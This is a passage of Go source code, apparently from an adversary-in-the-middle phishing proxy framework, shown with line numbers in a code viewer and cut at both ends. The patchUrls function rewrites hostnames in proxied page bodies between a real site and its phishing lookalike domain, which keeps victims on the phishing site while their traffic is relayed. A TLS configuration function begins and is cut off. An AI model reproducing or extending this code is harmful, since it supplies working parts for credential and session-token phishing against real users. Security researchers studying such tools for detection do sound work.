(pl *Phishlet, body []byte, c_type int)
| 1481 | } |
| 1482 | |
| 1483 | func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte { |
| 1484 | re_url := MATCH_URL_REGEXP |
| 1485 | re_ns_url := MATCH_URL_REGEXP_WITHOUT_SCHEME |
| 1486 | |
| 1487 | if phishDomain, ok := p.cfg.GetSiteDomain(pl.Name); ok { |
| 1488 | var sub_map map[string]string = make(map[string]string) |
| 1489 | var hosts []string |
| 1490 | for _, ph := range pl.proxyHosts { |
| 1491 | var h string |
| 1492 | if c_type == CONVERT_TO_ORIGINAL_URLS { |
| 1493 | h = combineHost(ph.phish_subdomain, phishDomain) |
| 1494 | sub_map[h] = combineHost(ph.orig_subdomain, ph.domain) |
| 1495 | } else { |
| 1496 | h = combineHost(ph.orig_subdomain, ph.domain) |
| 1497 | sub_map[h] = combineHost(ph.phish_subdomain, phishDomain) |
| 1498 | } |
| 1499 | hosts = append(hosts, h) |
| 1500 | } |
| 1501 | // make sure that we start replacing strings from longest to shortest |
| 1502 | sort.Slice(hosts, func(i, j int) bool { |
| 1503 | return len(hosts[i]) > len(hosts[j]) |
| 1504 | }) |
| 1505 | |
| 1506 | body = []byte(re_url.ReplaceAllStringFunc(string(body), func(s_url string) string { |
| 1507 | u, err := url.Parse(s_url) |
| 1508 | if err == nil { |
| 1509 | for _, h := range hosts { |
| 1510 | if strings.ToLower(u.Host) == h { |
| 1511 | s_url = strings.Replace(s_url, u.Host, sub_map[h], 1) |
| 1512 | break |
| 1513 | } |
| 1514 | } |
| 1515 | } |
| 1516 | return s_url |
| 1517 | })) |
| 1518 | body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string { |
| 1519 | for _, h := range hosts { |
| 1520 | if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) { |
| 1521 | s_url = strings.Replace(s_url, h, sub_map[h], 1) |
| 1522 | break |
| 1523 | } |
| 1524 | } |
| 1525 | return s_url |
| 1526 | })) |
| 1527 | } |
| 1528 | return body |
| 1529 | } |
| 1530 | |
| 1531 | func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) { |
| 1532 | return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) { |
no test coverage detected